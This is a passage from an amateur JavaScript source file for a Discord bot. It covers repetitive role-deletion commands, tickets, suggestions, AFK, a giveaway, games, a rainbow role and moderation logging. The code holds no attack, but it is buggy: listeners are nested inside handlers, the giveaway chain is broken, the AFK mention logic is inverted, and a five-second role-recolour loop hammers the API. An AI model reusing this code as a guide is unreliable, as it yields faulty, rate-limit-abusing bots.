5982 if(!message.member.hasPermission('ADMINISTRATOR')) return
5983 let role = message.guild.roles.find('name', '118');
5984
5985 role.delete()
5986 }
5987
5988});
5989
5990client.on('message', async message => {
5991
5992 let args = message.content.split(' ').slice(1);
5993if (message.content.startsWith(prefix +"deletecolors")) {
5994 if(!message.member.hasPermission('ADMINISTRATOR')) return
5995 let role = message.guild.roles.find('name', '119');
5996
5997 role.delete()
5998 }
5999
6000});
6001
6002client.on('message', async message => {
6003
6004 let args = message.content.split(' ').slice(1);
6005if (message.content.startsWith(prefix +"deletecolors")) {
6006 if(!message.member.hasPermission('ADMINISTRATOR')) return
6007 let role = message.guild.roles.find('name', '121');
6008
6009 role.delete()
6010 }
6011
6012});
6013
6014client.on('message', async message => {
6015
6016 let args = message.content.split(' ').slice(1);
6017if (message.content.startsWith(prefix +"deletecolors")) {
6018 if(!message.member.hasPermission('ADMINISTRATOR')) return
6019 let role = message.guild.roles.find('name', '122');
6020
6021 role.delete()
6022 }
6023
6024});
6025
6026client.on('message', async message => {
6027
6028 let args = message.content.split(' ').slice(1);
6029if (message.content.startsWith(prefix +"deletecolors")) {
6030 if(!message.member.hasPermission('ADMINISTRATOR')) return
6031 let role = message.guild.roles.find('name', '123');
6032
6033 role.delete()
6034 }
6035
6036});
6037client.on('message', async message => {
6038
6039 let args = message.content.split(' ').slice(1);
6040if (message.content.startsWith(prefix +"deletecolors")) {
6041 if(!message.member.hasPermission('ADMINISTRATOR')) return
6042 let role = message.guild.roles.find('name', '124');
6043
6044 role.delete()
6045 }
6046
6047});
6048
6049client.on('message', async message => {
6050
6051 let args = message.content.split(' ').slice(1);
6052if (message.content.startsWith(prefix +"deletecolors")) {
6053 if(!message.member.hasPermission('ADMINISTRATOR')) return
6054 let role = message.guild.roles.find('name', '125');
6055
6056 role.delete()
6057 }
6058
6059});
6060client.on('message', async message => {
6061
6062 let args = message.content.split(' ').slice(1);
6063if (message.content.startsWith(prefix +"deletecolors")) {
6064 if(!message.member.hasPermission('ADMINISTRATOR')) return
6065 let role = message.guild.roles.find('name', '126');
6066
6067 role.delete()
6068 }
6069
6070});
6071
6072client.on('message', async message => {
6073
6074 let args = message.content.split(' ').slice(1);
6075if (message.content.startsWith(prefix +"deletecolors")) {
6076 if(!message.member.hasPermission('ADMINISTRATOR')) return
6077 let role = message.guild.roles.find('name', '127');
6078
6079 role.delete()
6080 }
6081
6082});
6083
6084client.on('message', async message => {
6085
6086 let args = message.content.split(' ').slice(1);
6087if (message.content.startsWith(prefix +"deletecolors")) {
6088 if(!message.member.hasPermission('ADMINISTRATOR')) return
6089 let role = message.guild.roles.find('name', '128');
6090
6091 role.delete()
6092 }
6093
6094});
6095
6096client.on('message', async message => {
6097
6098 let args = message.content.split(' ').slice(1);
6099if (message.content.startsWith(prefix +"deletecolors")) {
6100 if(!message.member.hasPermission('ADMINISTRATOR')) return
6101 let role = message.guild.roles.find('name', '129');
6102
6103 role.delete()
6104 }
6105
6106});
6107
6108client.on('message', async message => {
6109
6110 let args = message.content.split(' ').slice(1);
6111if (message.content.startsWith(prefix +"deletecolors")) {
6112 if(!message.member.hasPermission('ADMINISTRATOR')) return
6113 let role = message.guild.roles.find('name', '130');
6114
6115 role.delete()
6116 }
6117
6118});
6119client.on('message', async message => {
6120
6121 let args = message.content.split(' ').slice(1);
6122if (message.content.startsWith(prefix +"deletecolors")) {
6123 if(!message.member.hasPermission('ADMINISTRATOR')) return
6124 let role = message.guild.roles.find('name', '131');
6125
6126 role.delete()
6127 }
6128
6129});
6130
6131client.on('message', async message => {
6132
6133 let args = message.content.split(' ').slice(1);
6134if (message.content.startsWith(prefix +"deletecolors")) {
6135 if(!message.member.hasPermission('ADMINISTRATOR')) return
6136 let role = message.guild.roles.find('name', '132');
6137
6138 role.delete()
6139 }
6140
6141});
6142client.on('message', async message => {
6143
6144 let args = message.content.split(' ').slice(1);
6145if (message.content.startsWith(prefix +"deletecolors")) {
6146 if(!message.member.hasPermission('ADMINISTRATOR')) return
6147 let role = message.guild.roles.find('name', '133');
6148
6149 role.delete()
6150 }
6151
6152});
6153
6154client.on('message', async message => {
6155
6156 let args = message.content.split(' ').slice(1);
6157if (message.content.startsWith(prefix +"deletecolors")) {
6158 if(!message.member.hasPermission('ADMINISTRATOR')) return
6159 let role = message.guild.roles.find('name', '134');
6160
6161 role.delete()
6162 }
6163
6164});
6165client.on('message', async message => {
6166
6167 let args = message.content.split(' ').slice(1);
6168if (message.content.startsWith(prefix +"deletecolors")) {
6169 if(!message.member.hasPermission('ADMINISTRATOR')) return
6170 let role = message.guild.roles.find('name', '135');
6171
6172 role.delete()
6173 }
6174
6175});
6176
6177client.on('message', async message => {
6178
6179 let args = message.content.split(' ').slice(1);
6180if (message.content.startsWith(prefix +"deletecolors")) {
6181 if(!message.member.hasPermission('ADMINISTRATOR')) return
6182 let role = message.guild.roles.find('name', '136');
6183
6184 role.delete()
6185 }
6186
6187});
6188
6189
6190
6191client.on('message', async message => {
6192
6193 let args = message.content.split(' ').slice(1);
6194if (message.content.startsWith(prefix +"deletecolors")) {
6195 if(!message.member.hasPermission('ADMINISTRATOR')) return
6196 let role = message.guild.roles.find('name', '137');
6197
6198 role.delete()
6199 }
6200
6201});
6202})
6203
6204
6205
6206
6207
6208
6209
6210
6211
6212
6213client.on("message", (message) => {
6214 function clean(text) {
6215 if (typeof(text) === "string")
6216 return text.replace(/`/g, "`" + String.fromCharCode(8203)).replace(/@/g, "@" + String.fromCharCode(8203));
6217 else
6218 return text;
6219 }
6220 client.on("ready", () => {
6221 console.log(`OrochiX | Logged in! Server count: ${client.guilds.size}`);
6222 });
6223 if (!message.content.startsWith(prefix) || message.author.bot) return;
6224 if (message.content.toLowerCase().startsWith(prefix + `tnew`)) {
6225 const reason = message.content.split(" ").slice(1).join(" ");
6226 if (!message.guild.roles.exists("name", "Support Team")) return message.channel.send(`This server doesn't have a \`Support Team\` role made, so the ticket won't be opened.\nIf you are an administrator, make one with that name exactly and give it to users that should be able to see tickets.`);
6227 if (message.guild.channels.exists("name", "ticket-" + message.author.id)) return message.channel.send(`You already have a ticket open.`);
6228 message.guild.createChannel(`ticket-${message.author.id}`, "text").then(c => {
6229 let role = message.guild.roles.find("name", "Support Team");
6230 let role2 = message.guild.roles.find("name", "@everyone");
6231 c.overwritePermissions(role, {
6232 SEND_MESSAGES: true,
6233 READ_MESSAGES: true
6234 });
6235 c.overwritePermissions(role2, {
6236 SEND_MESSAGES: false,
6237 READ_MESSAGES: false
6238 });
6239 c.overwritePermissions(message.author, {
6240 SEND_MESSAGES: true,
6241 READ_MESSAGES: true
6242 });
6243 message.channel.send(`:white_check_mark: Your ticket has been created, #${c.name}.`);
6244 const embed = new Discord.RichEmbed()
6245 .setColor(0xCF40FA)
6246 .addField(`Hey ${message.author.username}!`, `Please try explain why you opened this ticket with as much detail as possible. Our **Support Team** will be here soon to help.`)
6247 .setTimestamp();
6248 c.send({ embed: embed });
6249 }).catch(console.error);
6250 }
6251 if (message.content.toLowerCase().startsWith(prefix + `close`)) {
6252 if (!message.channel.name.startsWith(`ticket-`)) return message.channel.send(`You can't use the close command outside of a ticket channel.`);
6253
6254 message.channel.send(`Are you sure? Once confirmed, you cannot reverse this action!\nTo confirm, type \`>confirm\`. This will time out in 10 seconds and be cancelled.`)
6255 .then((m) => {
6256 message.channel.awaitMessages(response => response.content === '>confirm', {
6257 max: 1,
6258 time: 10000,
6259 errors: ['time'],
6260 })
6261 .then((collected) => {
6262 message.channel.delete();
6263 })
6264 .catch(() => {
6265 m.edit('Ticket close timed out, the ticket was not closed.').then(m2 => {
6266 m2.delete();
6267 }, 3000);
6268 });
6269 });
6270 }
6271
6272});
6273
6274const sug = JSON.parse(fs.readFileSync('./sug.json' , 'utf8'));
6275
6276client.on('message', message => {
6277 if (!message.channel.guild) return;
6278
6279 let room = message.content.split(" ").slice(1);
6280 let findroom = message.guild.channels.find('name', `${room}`)
6281 if(message.content.startsWith(prefix + "setSug")) {
6282 if(!message.channel.guild) return;
6283 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
6284if(!room) return message.channel.send('Please Type The Channel Name')
6285if(!findroom) return message.channel.send('Cant Find This Channel')
6286let embed = new Discord.RichEmbed()
6287.setTitle('**Done The Suggest Code Has Been Setup**')
6288.addField('Channel:', `${room}`)
6289.addField('Requested By:', `${message.author}`)
6290.setThumbnail(message.author.avatarURL)
6291.setFooter(`${client.user.username}`)
6292message.channel.sendEmbed(embed)
6293sug[message.guild.id] = {
6294channel: room,
6295}
6296fs.writeFile("./sug.json", JSON.stringify(sug), (err) => {
6297if (err) console.error(err)
6298})
6299 client.on('message', message => {
6300
6301
6302 if(message.content.startsWith(`${prefix}suggest`)) {
6303 if(!message.channel.guild) return;
6304 let suggest = message.content.split(" ").slice(1);
6305 if(!suggest) return message.reply(`**Please Type The Suggest**`)
6306 let findchannel = (message.guild.channels.find('name', `${sug[message.guild.id].channel}`))
6307 if(!findchannel) return message.channel.send(`Error 404: The Suggest Channel Cant Find Or Not Set To Set The Suggest Channel Type: ${prefix}setSug`)
6308 message.channel.send(`Done Your Suggest Will Be Seen By The Staffs`)
6309 let sugembed = new Discord.RichEmbed()
6310 .setTitle('New Suggest !')
6311 .addField('Suggest By:', `${message.author}`)
6312 .addField('Suggest:', `${suggest}`)
6313 .setFooter('BlackBot™')
6314 findchannel.sendEmbed(sugembed)
6315 .then(function (message) {
6316 message.react('✅')
6317 message.react('❌')
6318 })
6319 .catch(err => {
6320 message.reply(`Error 404: The Suggest Channel Cant Find Or Not Set To Set The Suggest Channel Type: ${prefix}setSug`)
6321 console.error(err);
6322 });
6323 }
6324 })
6325 }})
6326
6327
6328 client.on('message', function(message) {
6329 if(message.content.startsWith(prefix + 'Lot')) {
6330 let args = message.content.split(" ").slice(1);
6331 if (!args[0]) {
6332 message.channel.send('**Type a specific number to be checked out**');
6333 return;
6334 }
6335 message.channel.send(Math.floor(Math.random() * args.join(' ')));
6336 if (!args[0]) {
6337 message.edit('1')
6338 return;
6339 }
6340 }
6341 });
6342
6343
6344
6345
6346
6347
6348const afk = require('./afk.json');
6349client.on('message',async rebel => {
6350 if(rebel.author.bot) return;
6351 if (afk[rebel.author.id]) {
6352 delete afk[rebel.author.id];
6353 if (rebel.member.nickname === null) {
6354rebel.channel.send(" , <@"+rebel.author.id+"> I Try To Remove Afk Mode For You."); } else {
6355 rebel.member.setNickname(rebel.member.nickname.replace(/(\[AFK\])/,''));
6356 rebel.channel.send(" , <@"+rebel.author.id+"> Your Afk Has Been Removed Becouse You Back.");
6357 }
6358 fs.writeFile("./afk.json", JSON.stringify(afk), (err) => {if (err) console.error(err);});
6359} else {
6360 if (rebel.content.startsWith(prefix + 'afk ')||rebel.content === prefix + 'afk') {
6361 rebel.member.setNickname("[AFK] " + rebel.member.displayName);
6362 let args1 = rebel.content.split(' ').slice(1);
6363 if (args1.length === 0) {
6364 afk[rebel.author.id] = {"reason": true};
6365 rebel.reply("** You Are In Afk Mode **")
6366 } else {
6367 afk[rebel.author.id] = {"reason": args1.join(" ")}; // with reason
6368 rebel.reply("You Are In Afk Mode Becouse "+ args1.join(" ") + ".")
6369 }
6370 fs.writeFile("./afk.json", JSON.stringify(afk), (err) => {if (err) console.error(err);});
6371 }
6372}
6373 var mentionned = rebel.mentions.users.first();
6374if(rebel.mentions.users.size > 0) return ;
6375if (afk[rebel.mentions.users.first()]) {
6376if (afk[rebel.mentions.users.first()].reason === true) {
6377rebel.channel.send(`**<@!${mentionned.id}> In Afk Mode** `);
6378}else{
6379rebel.channel.send(`**<@!${mentionned.username}> In Afk Mode Reason: \n ${afk[rebel.mentions.users.first().id].reason}**`);
6380}
6381}
6382});
6383
6384client.on('message',async message => {
6385 var time = moment().format('Do MMMM YYYY , hh:mm');
6386 var room;
6387 var title;
6388 var duration;
6389 var gMembers;
6390 var currentTime = new Date(),
6391hours = currentTime.getHours() + 3 ,
6392minutes = currentTime.getMinutes(),
6393done = currentTime.getMinutes() + duration,
6394seconds = currentTime.getSeconds();
6395if (minutes < 10) {
6396minutes = "0" + minutes;
6397}
6398var suffix = "AM";
6399if (hours >= 12) {
6400suffix = "PM";
6401hours = hours - 12;
6402}
6403if (hours == 0) {
6404hours = 12;
6405}
6406
6407 var filter = m => m.author.id === message.author.id;
6408 if(message.content.startsWith(prefix + "giveaway")) {
6409
6410 if(!message.guild.member(message.author).hasPermission('MANAGE_GUILD')) return message.channel.send(':heavy_multiplication_x:| **يجب أن يكون لديك خاصية التعديل على السيرفر**');
6411 message.channel.send(`:eight_pointed_black_star:| **Send Name channel For the Giveaway**`).then(msg => {
6412 message.channel.awaitMessages(filter, {
6413 max: 1,
6414 time: 20000,
6415 errors: ['time']
6416 }).then(collected => {
6417 let room = message.guild.channels.find('name' , collected.first().content);
6418 if(!room) return message.channel.send(':heavy_multiplication_x:| **i Found It :(**');
6419 room = collected.first().content;
6420 collected.first().delete();
6421 msg.edit(':eight_pointed_black_star:| **Time For The Giveaway**').then(msg => {
6422 message.channel.awaitMessages(filter, {
6423 max: 1,
6424 time: 20000,
6425 errors: ['time']
6426 }).then(collected => {
6427 if(!collected.first().content.match(/[1-60][s,m,h,d,w]/g)) return message.channel.send('**The Bot Not Support This Time**');
6428 duration = collected.first().content
6429 collected.first().delete();
6430 }).then(collected => {
6431 title = collected.first().content
6432 msg.edit(':eight_pointed_black_star:| **Now send The Present **').then(msg => {
6433 message.channel.awaitMessages(filter, {
6434 max: 1,
6435 time: 20000,
6436 errors: ['time']
6437 }).then(collected => {
6438 gMembers = collected.first().content
6439 collected.first().delete();
6440 msg.edit(':eight_pointed_black_star:| **Now send The Winners **').then(msg => {
6441 message.channel.awaitMessages(filter, {
6442 max: 1,
6443 time: 20000,
6444 errors: ['time']
6445 }).then(collected => {
6446 collected.first().delete();
6447 msg.delete();
6448 message.delete();
6449
6450 try {
6451 let giveEmbed = new Discord.RichEmbed()
6452 .setDescription(`**${title}** \nReact With ? To Enter! \nTime remaining : ${duration} \n **Created at :** ${hours}:${minutes}:${seconds} ${suffix}`)
6453 .setFooter(message.author.username, message.author.avatarURL);
6454 message.guild.channels.find("name" , room).send(' :heavy_check_mark: **Giveaway Created** :heavy_check_mark:' , {embed: giveEmbed}).then(m => {
6455 let re = m.react('?');
6456 setTimeout(() => {
6457 let users = m.reactions.get("?").users
6458 let list = users.array().filter(u => u.id !== m.author.id !== client.user.id);
6459 let gFilter = list[Math.floor(Math.random() * list.length) + 0]
6460 let endEmbed = new Discord.RichEmbed()
6461 .setAuthor(message.author.username, message.author.avatarURL)
6462 .setTitle(title)
6463 .addField('Giveaway Ended !?',`Winners : ${gFilter} \nEnded at :`)
6464 .setTimestamp()
6465 m.edit('** ? GIVEAWAY ENDED ?**' , {embed: endEmbed});
6466 message.guild.channels.find("name" , room).send(`**Congratulations ${gFilter}! You won The \`${title}\`**` , {embed: {}})
6467 }, ms(duration));
6468 });
6469 } catch(e) {
6470 message.channel.send(`:heavy_multiplication_x:| **i Don't Have Prem**`);
6471 console.log(e);
6472 }
6473 });
6474 });
6475 });
6476 });
6477 });
6478 });
6479 })
6480})
6481 }})
6482
6483
6484const shorten = require('isgd');
6485client.on('message', message => {
6486 if (message.content.startsWith(prefix + 'short')) {
6487 let args = message.content.split(" ").slice(1);
6488 if (!args[0]) return message.channel.send('**Usage**: '+ prefix +'short <link>')
6489 if (!args[1]) {
6490 shorten.shorten(args[0], function(res) {
6491 if (res.startsWith('Error:')) return message.channel.send('**Usage**: '+ prefix +'short <link>');
6492 message.channel.send(`The Short Link:**<${res}>**`);
6493 })
6494 } else {
6495 shorten.custom(args[0], args[1], function(res) {
6496 if (res.startsWith('Error:')) return message.channel.send(`The Short Link:**${res}**`);
6497 message.channel.send(`The Short Link:**<${res}>**`);
6498 })}}});
6499
6500
6501
6502
6503
6504client.on("message", async message => {
6505if(message.author.bot) return;
6506if(message.channel.type === "dm") return;
6507let prefix = '.'
6508let messageArray = message.content.split (" ");
6509let args = messageArray.slice(1);
6510
6511if (message.content.startsWith(prefix + "8ball")) {
6512
6513
6514if(!args[1]) return message.reply("?");
6515let replies = ["Yup.", "No.", "I dont know.", "Please ask me later"];
6516
6517let result = Math.floor((Math.random() * replies.length));
6518let question = args.slice(1).join(" ");
6519
6520message.channel.sendMessage(`${replies[Math.floor(Math.random() * replies.length)]}`); ///Alpha Codes
6521 if (!args[0]) {
6522 message.edit('1')
6523 return;
6524 }
6525 }
6526});
6527
6528
6529
6530client.on('message', message => {
6531if(message.content.startsWith(".slots")) {
6532let slot1 = ['?', '?', '?', '?', '?', '?', '?', '?'];
6533let slot2 = ['?', '?', '?', '?', '?', '?', '?', '?'];
6534let slot3 = ['?', '?', '?', '?', '?', '?', '?', '?'];
6535let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
6536let slots2 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
6537let slots3 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
6538let we;
6539if(slots1 === slots2 && slots2 === slots3) {
6540we = "?You Won !?"
6541} else {
6542we = "?You Lost !?"
6543}
6544message.channel.send(`${slots1} | ${slots2} | ${slots3} - ${we}`)
6545}
6546});
6547
6548
6549
6550
6551
6552client.on('message', message => {
6553if(message.content.startsWith(".stone")) {
6554let slot1 = ['✂paper?', '?stone?', '✂scissors?'];
6555let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
6556let we;
6557if(slots1) {
6558we = "?Play Again?"
6559} else {
6560we = "?She lost the luck of Over?"
6561}
6562message.channel.send(`${slots1} - ${we}`)
6563}
6564});
6565
6566
6567
6568client.on('message', message => {
6569if(message.content.startsWith(".paper")) {
6570 let slot1 = ['✂paper?', '?stone?', '✂scissors?'];
6571 let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
6572let we;
6573if(slots1) {
6574we = "?Play Again?"
6575} else {
6576we = "?She lost the luck of Over?"
6577}
6578message.channel.send(`${slots1} - ${we}`)
6579}
6580});
6581
6582client.on('message', message => {
6583var prefix = "." // البريفكس
6584if(message.content.startsWith(prefix +"server")){ // الامر
6585 if(!message.guild.member(message.author).hasPermission("ADMINISTRATOR")) return message.reply(`**هذه الخاصية للادارة فقط** ❎ `)
6586if(!message.channel.guild) return;
6587const millis = new Date().getTime() - message.guild.createdAt.getTime();
6588const now = new Date();
6589dateFormat(now, 'dddd, mmmm dS, yyyy, h:MM:ss TT');
6590const verificationLevels = ['None', 'Low', 'Medium', 'Insane', 'Extreme'];
6591const days = millis / 1000 / 60 / 60 / 24;
6592let roles = client.guilds.get(message.guild.id).roles.map(r => r.name);
6593var embed = new Discord.RichEmbed()
6594.setAuthor(message.guild.name, message.guild.iconURL)
6595.addField("**? Server ID:**", message.guild.id,true)
6596.addField("**? Created On**", message.guild.createdAt.toLocaleString(),true)
6597.addField("**? Owned by**",`${message.guild.owner.user.username}#${message.guild.owner.user.discriminator}`)
6598.addField("**? Members**",`[${message.guild.memberCount}]`,true)
6599.addField('**? Channels **',`**${message.guild.channels.filter(m => m.type === 'text').size}**` + ' text | Voice '+ `**${message.guild.channels.filter(m => m.type === 'voice').size}** `,true)
6600.addField("**? Others **" , message.guild.region,true)
6601.addField("**? Roles **",`**[${message.guild.roles.size}]** Role `,true)
6602.setColor('#000000')
6603message.channel.sendEmbed(embed)
6604
6605}
6606});
6607
6608
6609
6610client.on('message', message => {
6611if(message.content.startsWith(".scissors")) {
6612 let slot1 = ['✂paper?', '?stone?', '✂scissors?'];
6613 let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
6614let we;
6615if(slots1) {
6616we = "?Play Again?"
6617} else {
6618we = "?She lost the luck of Over?"
6619}
6620message.channel.send(`${slots1} - ${we}`)
6621}
6622});
6623
6624
6625
6626//Best Rainbow Bot .
6627client.on('message', message => {//new msg event
6628if(!message.channel.guild) return;
6629 if(message.content.startsWith(prefix + 'setRainbow')) {//to create the rainbow role
6630 let role = message.guild.roles.find('name', 'Rainbow bot.')
6631 if(role) return message.channel.send(`This Step Already Completed !`)//if the role already created return with this msg
6632 //start of create role
6633 if(!role){
6634 rainbow = message.guild.createRole({
6635 name: "Rainbow bot.",//the role will create name
6636 color: "#000000",//the default color
6637 permissions:[]//the permissions
6638 //end of create role
6639})
6640
6641}
6642message.channel.send('Done The Rainbow Role Setup Has Been Completed')//if the step completed
6643}})
6644
6645client.on('ready', () => {//new ready event
6646 setInterval(function(){
6647 client.guilds.forEach(g => {
6648 var role = g.roles.find('name', 'Rainbow bot.');//rainbow role name
6649 if (role) {
6650 role.edit({color : "RANDOM"});
6651 };
6652 });
6653 }, 5000);//the rainbow time
6654})
6655
6656//Perfect log Code
6657client.on('message', message => {
6658 if (!message.channel.guild) return;
6659
6660 let room = message.content.split(" ").slice(1);
6661 let findroom = message.guild.channels.find('name', `${room}`)
6662 if(message.content.startsWith(prefix + "setLog")) {
6663 if(!message.channel.guild) return;
6664 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
6665if(!room) return message.channel.send('Please Type The Channel Name')
6666if(!findroom) return message.channel.send('Please Type The Log Channel Name')
6667let embed = new Discord.RichEmbed()
6668.setTitle('**Done The Log Code Has Been Setup**')
6669.addField('Channel:', `${room}`)
6670.addField('Requested By:', `${message.author}`)
6671.setThumbnail(message.author.avatarURL)
6672.setFooter(`${client.user.username}`)
6673message.channel.sendEmbed(embed)
6674log[message.guild.id] = {
6675channel: room,
6676onoff: 'On'
6677}
6678fs.writeFile("./log.json", JSON.stringify(log), (err) => {
6679if (err) console.error(err)
6680})
6681 }})
6682
6683client.on('message', message => {
6684
6685 if(message.content.startsWith(prefix + "toggleLog")) {
6686 if(!message.channel.guild) return;
6687 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
6688 if(!log[message.guild.id]) log[message.guild.id] = {
6689 onoff: 'Off'
6690 }
6691 if(log[message.guild.id].onoff === 'Off') return [message.channel.send(`**The log Is __??__ !**`), log[message.guild.id].onoff = 'On']
6692 if(log[message.guild.id].onoff === 'On') return [message.channel.send(`**The log Is __???__ !**`), log[message.guild.id].onoff = 'Off']
6693 fs.writeFile("./log.json", JSON.stringify(log), (err) => {
6694 if (err) console.error(err)
6695 .catch(err => {
6696 console.error(err);
6697 });
6698 });
6699 }
6700
6701 })
6702
6703
6704client.on('messageDelete', message => {
6705
6706 if(message.author.bot) return;
6707 if(message.channel.type === 'dm') return;
6708 if(!message.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
6709 if(!message.guild.member(client.user).hasPermission('MANAGE_MESSAGES')) return;
6710 if(!log[message.guild.id]) log[message.guild.id] = {
6711 onoff: 'Off'
6712 }
6713 if(log[message.guild.id].onoff === 'Off') return;
6714 var logChannel = message.guild.channels.find(c => c.name === `${log[message.guild.id].channel}`);
6715 if(!logChannel) return;
6716
6717 let messageDelete = new Discord.RichEmbed()
6718 .setTitle('**[MESSAGE DELETE]**')
6719 .setColor('RED')
6720 .setThumbnail(message.author.avatarURL)
6721 .setDescription(`**\n**:wastebasket: Successfully \`\`DELETE\`\` **MESSAGE** In ${message.channel}\n\n**Channel:** \`\`${message.channel.name}\`\` (ID: ${message.channel.id})\n**Message ID:** ${message.id}\n**Sent By:** <@${message.author.id}> (ID: ${message.author.id})\n**Message:**\n\`\`\`${message}\`\`\``)
6722 .setTimestamp()
6723 .setFooter(message.guild.name, message.guild.iconURL)
6724
6725 logChannel.send(messageDelete);
6726});
6727client.on('messageUpdate', (oldMessage, newMessage) => {
6728
6729 if(oldMessage.author.bot) return;
6730 if(!oldMessage.channel.type === 'dm') return;
6731 if(!oldMessage.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
6732 if(!oldMessage.guild.member(client.user).hasPermission('MANAGE_MESSAGES')) return;
6733 if(!log[oldMessage.guild.id]) log[oldMessage.guild.id] = {
6734 onoff: 'Off'
6735 }
6736 if(log[oldMessage.guild.id].onoff === 'Off') return;
6737 var logChannel = oldMessage.guild.channels.find(c => c.name === `${log[oldMessage.guild.id].channel}`);
6738 if(!logChannel) return;
6739
6740 if(oldMessage.content.startsWith('https://')) return;
6741
6742 let messageUpdate = new Discord.RichEmbed()
6743 .setTitle('**[MESSAGE EDIT]**')
6744 .setThumbnail(oldMessage.author.avatarURL)
6745 .setColor('BLUE')
6746 .setDescription(`**\n**:wrench: Successfully \`\`EDIT\`\` **MESSAGE** In ${oldMessage.channel}\n\n**Channel:** \`\`${oldMessage.channel.name}\`\` (ID: ${oldMessage.channel.id})\n**Message ID:** ${oldMessage.id}\n**Sent By:** <@${oldMessage.author.id}> (ID: ${oldMessage.author.id})\n\n**Old Message:**\`\`\`${oldMessage}\`\`\`\n**New Message:**\`\`\`${newMessage}\`\`\``)
6747 .setTimestamp()
6748 .setFooter(oldMessage.guild.name, oldMessage.guild.iconURL)
6749
6750 logChannel.send(messageUpdate);
6751});
6752
6753
6754client.on('roleCreate', role => {
6755
6756 if(!role.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
6757 if(!role.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
6758 if(!log[role.guild.id]) log[role.guild.id] = {
6759 onoff: 'Off'
6760 }
6761 if(log[role.guild.id].onoff === 'Off') return;
6762 var logChannel = role.guild.channels.find(c => c.name === `${log[role.guild.id].channel}`);
6763 if(!logChannel) return;
6764
6765 role.guild.fetchAuditLogs().then(logs => {
6766 var userID = logs.entries.first().executor.id;
6767 var userAvatar = logs.entries.first().executor.avatarURL;
6768
6769 let roleCreate = new Discord.RichEmbed()
6770 .setTitle('**[ROLE CREATE]**')
6771 .setThumbnail(userAvatar)
6772 .setDescription(`**\n**:white_check_mark: Successfully \`\`CREATE\`\` Role.\n\n**Role Name:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
6773 .setColor('GREEN')
6774 .setTimestamp()
6775 .setFooter(role.guild.name, role.guild.iconURL)
6776
6777 logChannel.send(roleCreate);
6778 })
6779});
6780client.on('roleDelete', role => {
6781
6782 if(!role.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
6783 if(!role.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
6784 if(!log[role.guild.id]) log[role.guild.id] = {
6785 onoff: 'Off'
6786 }
6787 if(log[role.guild.id].onoff === 'Off') return;
6788 var logChannel = role.guild.channels.find(c => c.name === `${log[role.guild.id].channel}`);
6789 if(!logChannel) return;
6790
6791 role.guild.fetchAuditLogs().then(logs => {
6792 var userID = logs.entries.first().executor.id;
6793 var userAvatar = logs.entries.first().executor.avatarURL;
6794
6795 let roleDelete = new Discord.RichEmbed()
6796 .setTitle('**[ROLE DELETE]**')
6797 .setThumbnail(userAvatar)
6798 .setDescription(`**\n**:white_check_mark: Successfully \`\`DELETE\`\` Role.\n\n**Role Name:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
6799 .setColor('RED')
6800 .setTimestamp()
6801 .setFooter(role.guild.name, role.guild.iconURL)
6802
6803 logChannel.send(roleDelete);
6804 })
6805});
6806client.on('roleUpdate', (oldRole, newRole) => {
6807
6808 if(!oldRole.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
6809 if(!oldRole.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
6810 if(!log[oldRole.guild.id]) log[oldRole.guild.id] = {
6811 onoff: 'Off'
6812 }
6813 if(log[oldRole.guild.id].onoff === 'Off') return;
6814 var logChannel = oldRole.guild.channels.find(c => c.name === `${log[oldRole.guild.id].channel}`);
6815 if(!logChannel) return;
6816
6817 oldRole.guild.fetchAuditLogs().then(logs => {
6818 var userID = logs.entries.first().executor.id;
6819 var userAvatar = logs.entries.first().executor.avatarURL;
6820
6821 if(oldRole.name !== newRole.name) {
6822 if(log[oldRole.guild.id].onoff === 'Off') return;
6823 let roleUpdateName = new Discord.RichEmbed()
6824 .setTitle('**[ROLE NAME UPDATE]**')
6825 .setThumbnail(userAvatar)
6826 .setColor('BLUE')
6827 .setDescription(`**\n**:white_check_mark: Successfully \`\`EDITED\`\` Role Name.\n\n**Old Name:** \`\`${oldRole.name}\`\`\n**New Name:** \`\`${newRole.name}\`\`\n**Role ID:** ${oldRole.id}\n**By:** <@${userID}> (ID: ${userID})`)
6828 .setTimestamp()
6829 .setFooter(oldRole.guild.name, oldRole.guild.iconURL)
6830
6831 logChannel.send(roleUpdateName);
6832 }
6833 if(oldRole.hexColor !== newRole.hexColor) {
6834 if(oldRole.hexColor === '#000000') {
6835 var oldColor = '`Default`';
6836 }else {
6837 var oldColor = oldRole.hexColor;
6838 }
6839 if(newRole.hexColor === '#000000') {
6840 var newColor = '`Default`';
6841 }else {
6842 var newColor = newRole.hexColor;
6843 }
6844 if(log[oldRole.guild.id].onoff === 'Off') return;
6845 let roleUpdateColor = new Discord.RichEmbed()
6846 .setTitle('**[ROLE COLOR UPDATE]**')
6847 .setThumbnail(userAvatar)
6848 .setColor('BLUE')
6849 .setDescription(`**\n**:white_check_mark: Successfully \`\`EDITED\`\` **${oldRole.name}** Role Color.\n\n**Old Color:** ${oldColor}\n**New Color:** ${newColor}\n**Role ID:** ${oldRole.id}\n**By:** <@${userID}> (ID: ${userID})`)
6850 .setTimestamp()
6851 .setFooter(oldRole.guild.name, oldRole.guild.iconURL)
6852
6853 logChannel.send(roleUpdateColor);
6854 }
6855 })
6856});
6857
6858client.on('channelCreate', channel => {
6859
6860 if(!channel.guild) return;
